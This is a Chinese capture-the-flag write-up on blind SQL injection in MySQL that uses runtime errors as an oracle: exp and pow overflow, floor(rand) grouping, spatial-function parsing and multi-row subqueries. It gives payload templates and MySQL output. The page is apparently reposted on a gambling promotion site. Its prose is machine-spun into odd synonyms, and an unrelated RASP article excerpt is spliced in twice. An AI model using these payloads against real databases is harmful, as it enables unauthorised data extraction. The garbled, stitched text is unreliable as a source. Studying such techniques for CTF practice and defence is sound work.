经由过程CISCN2019 Day 1 SQL注入思索基于运行时毛病的盲注 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

经由过程CISCN2019 Day 1 SQL注入思索基于运行时毛病的盲注

申博_安全防护 申博 255次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

媒介

此次的CISCN WEB题以为质量还不错。第一天的SQL注入一题,很轻易发明服务端的返回有两种,一种是登录失利,另一种数据库操纵失利。能够意想到能够盲注,然则与一样平常的盲注彷佛不太一样。对照常碰到的是服务端会依据sql语句的逻辑true or false来返回分歧的器械,然则这里是依据sql语句的实行状况的true or false来返回分歧的器械。固然若是前一种状况sql语句实行失利,服务端返回500的状况,也是适用于第二种状况的盲注的。以是说第二种状况的盲注要领越发的通用。恰好之前往六室面试时,学长们出了一道应用exp函数的特征举行注入的题。事先那题我在机试时在网上搜了一大堆,然则能搜到应用exp函数的报错来举行注入,然则须要毛病回显。但事先那题是没有毛病回显的,只提醒毛病和失利。问题也禁用了时刻函数,也就是没法基于时刻举行盲注。正本已经在摒弃边沿了,机试一道题没做出来很凉,然则快完毕时刻倏忽灵光一闪想到了能够应用exp函数的参数在大于709的状况下会致使sql语句实行失利,如许实在就找到了一种要领来应用服务端的两种分歧回显来推断我们自定义表达式的真假。好比这个表达式是709 + c - ascii('a'),让c初始化为126(最大可见字符),我们把它作为参数传给exp函数,这时候sql语句一定是实行失利的,因为709 + 126 - ascii('a') > 709。然后我们赓续的c--,直到c == ascii('a'),那末就相当于exp(709 + c - c) == exp(709),sql语句就会实行胜利,这时候的c就是ascii(a),应用这类思绪就能够举行盲注了。赛后看到他人的wp,意想到不止exp函数,包罗cotpow等只要能获得超大数致使凌驾mysql的数值透露表现返回的,sql语句就会实行失利:

mysql> select pow(2,1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
mysql> select cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

发散

固然我以为除应用MYSQL凌驾数值透露表现局限就报错这个点以外,另有其他的思绪。我想到了是否是能够应用数学自身的商定来,好比除0操纵。然则有意思的是mysql是许可除0的,只是会发作warning:

mysql> select 1/0;
+------+
| 1/0  |
+------+
| NULL |
+------+
1 row in set, 1 warning (0.00 sec)

包罗log(-1)等都没法让sql语句实行失利,看来照样须要应用mysql自身的特征来搞。我还实验应用if语句的前提与mysql实行高权限操纵报错的特征和查询不存在表名、列名报错等特征,然则发明mysql诠释器貌似会对sql语句举行预搜检,而不会在实行时搜检,如许我们if前提就没法见效。因而去查了下MYSQL的官方文档,发明毛病品种异常多。而我们须要的毛病范例是sql语句运行时发生的。比方说上面应用的毛病ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'就是sql语句在运行时盘算时发生的毛病。

找呀找,找呀找。倏忽不想找了,意想到我们想要的运行时毛病,不就是网上能搜到的那些报错注入的例子么。我们能够把他们变个体式格局,就能够举行盲注了。整顿一下以下:

Floor

因为floor报错注入的道理自身就是基于rand()函数在sql语句实行时的屡次挪用,以是我们能够直接改成盲注。经由测试,能够将测试前提放在group by以后。

# Floor 报错注入改成报错盲注
mysql> select count(*),floor(rand(0)*2)x from mysql.user group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from mysql.user group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
|        5 | 0 |
+----------+---+
1 row in set (0.00 sec)

Spatial Functions

网上还普遍存在的经由过程传入不法参数给空间函数举行报错注入的要领,貌似在盲注的状况下没法胜利。因为测试发明mysql诠释器在剖析sql语句中这类函数的参数时刻就会搜检合法性,以是不满足我们之前说的须要sql语句运行时搜检的前提。然则在官方文档发明了有意思的器械。

浅谈RASP手艺攻防之实战[代码完成篇]

概述 本篇主要讲了简易版RASP实现,所有的环境都可以参考前一篇文章《浅谈RASP技术攻防之实战[环境配置篇]》,再次说明,本文只起到抛砖引玉的作用,仅供参考,文笔不好,大家轻拍。关于其中涉及到的ASM等知识,大家可以来我的博客[Sky’s

# 原要领没法让if前提见效
mysql> SELECT IF(1,ST_X(LINESTRING(mads)),0);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing
mysql> SELECT IF(0,ST_X(LINESTRING(mads)),0);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing

文档中发明了两个函数ST_GeomFromTextST_MPointFromText能够从文本中剖析Spatial function,我下意识的以为这里能够能够绕过mysql诠释器的预搜检,测试了一下果然是能够的。须要申明的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数。

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(mads)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0);
+------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0) |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)

因而整顿了一下可用的函数payload以下:

{}中是须要推断的前提

# POINT
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);

这里还能够拓展下思绪,就是实在我们须要的只是个动态剖析变量的函数来绕过mysql诠释器的预检,以是下面的payload一样都是能够的:

SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

其他特征的报错

翻阅文档与测试以后,只找到分外的以下可行payload。

  1. 基于毛病号1242
mysql> select if(1, (select user from user), 0);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select if(0, (select user from user), 0);
+-----------------------------------+
| if(0, (select user from user), 0) |
+-----------------------------------+
| 0                                 |
+-----------------------------------+
1 row in set (0.00 sec)

能够另有许多,这里只是举个栗子,就不一一列举,列位师傅感兴趣的能够本身实验去找找。找到了新思绪迎接批评交换~

总结

本文引见了基于sql语句运行时发作毛病的盲注,简称基于运行时毛病的盲注(我起的)。并经由过程头脑发散引见了几种衍生的payload。因为自己精神与才能有限,一定没有引见完整。列位师傅能够自由发挥设想,想到了其他要领迎接批评区议论交换~

浅谈RASP手艺攻防之实战[代码完成篇]

概述 本篇主要讲了简易版RASP实现,所有的环境都可以参考前一篇文章《浅谈RASP技术攻防之实战[环境配置篇]》,再次说明,本文只起到抛砖引玉的作用,仅供参考,文笔不好,大家轻拍。关于其中涉及到的ASM等知识,大家可以来我的博客[Sky’s


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明经由过程CISCN2019 Day 1 SQL注入思索基于运行时毛病的盲注
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址